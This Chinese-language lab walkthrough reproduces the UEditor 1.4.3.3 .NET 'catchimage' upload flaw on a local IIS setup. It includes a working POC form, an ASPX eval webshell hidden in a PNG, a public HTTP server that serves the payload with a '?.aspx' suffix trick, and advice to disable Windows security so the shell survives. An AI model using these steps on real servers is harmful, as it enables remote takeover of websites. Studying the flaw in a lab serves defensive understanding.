一、漏洞介紹
Ueditor編輯器上傳漏洞導致getshell
漏洞存在版本:1.4.3.3 Net版(目前最新版本,已停更)
二、環境搭建
需要安裝:IIS環境搭建、Ueditor編輯器源碼下載、公網圖片碼鏈接
1.首先現在下源碼文件
這里可以看到有很多版本,坑:注意這個是源碼文件,需要進行編譯過后才可以部署到web。
3.編譯處理
需要環境:java、npm、grunt、node.js
切到ueditor目錄,使用 npm install 命令安裝相關依賴包,安裝好后目錄下會多個node_modules文件夾
npm install -g grunt-cli //全局安裝,我也不懂,跟着操作就行
grunt --encode=utf8 --server=net //形成文件
\dist\utf8-net\ //最后形成目錄下為全部文件
4.IIS環境搭建
WIN10 專業版1903 ip:192.168.0.103
開啟.net服務,里面有的默認不選,反正我是全打勾了。
將剛剛生成的文件夾 utf8-net 復制到test目錄下,並且重命名為ueditro。
坑:必須重命名。
test添加為應用程序;net添加為應用程序。
訪問http://192.168.0.103/ueditor/index.html ,顯示下面示例,部署成功。
坑:這里部署完了后上傳圖片看看能不能用,能上傳圖片並能訪問到路徑,后再進行下一步操作。這里如果不能上傳圖片
這里的大坑:添加用戶操作權限、或.net版本過高,根據個人情況自行百度,這里的細節不太記得清了。
為了驗證漏洞是否存在,或.net環境是否能正常運行ueditor,如果下面兩種情況有一種不對,就說明環境沒搭建好。
http://192.168.0.103/ueditor/net/controller.ashx?action=catchimage //漏洞存在
http://192.168.0.103/ueditor/net/controller.ashx?action=config //.net環境運行正常
三、漏洞復現
1.POC,將標紅部分修改為靶機ip,直接名命test.html 即可。
<form action="http://192.168.0.103/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
坑:ip后的路徑根據環境不同進行修改。
2.制作圖片馬
<%@ Page Language="Jscript"%><%eval(Request.Item["888888"],"unsafe");%>
copy 121212.png/b + cese.aspx 444.png
3.公網搭建臨時web服務
這里有人問了,本地再起一個web服務不行嗎?我是試過了,還真不行,必須得公網的上傳成功才會給返回上傳路徑。
python -m SimpleHTTPServer 8080
坑:這里的8080端口如何出網根據個人雲服務進行設置
4.上傳shell
http://**.**.**.**:8080/444.png?.aspx
上傳成功后會有地址
根據地址訪問,如果出現這種圖片內容亂碼,說明成功了。
http://192.168.0.103/ueditor/net/upload/image/20200729/6373158015983417701454704.aspx
坑:這里url路徑要准確
菜刀鏈接
坑:這里最坑,1.上傳上去后被win10自帶安全清除文件,安全中心關的干凈點 2.圖片不合適合成的圖片馬也不能運行,多試兩張圖片
3.aspx不解析,根據報錯提醒讓在net目錄下的web.config文件添加了一行 <customErrors mode="Off"/>
參考鏈接:
https://jingyan.baidu.com/article/76a7e4091e6e9efc3a6e1542.html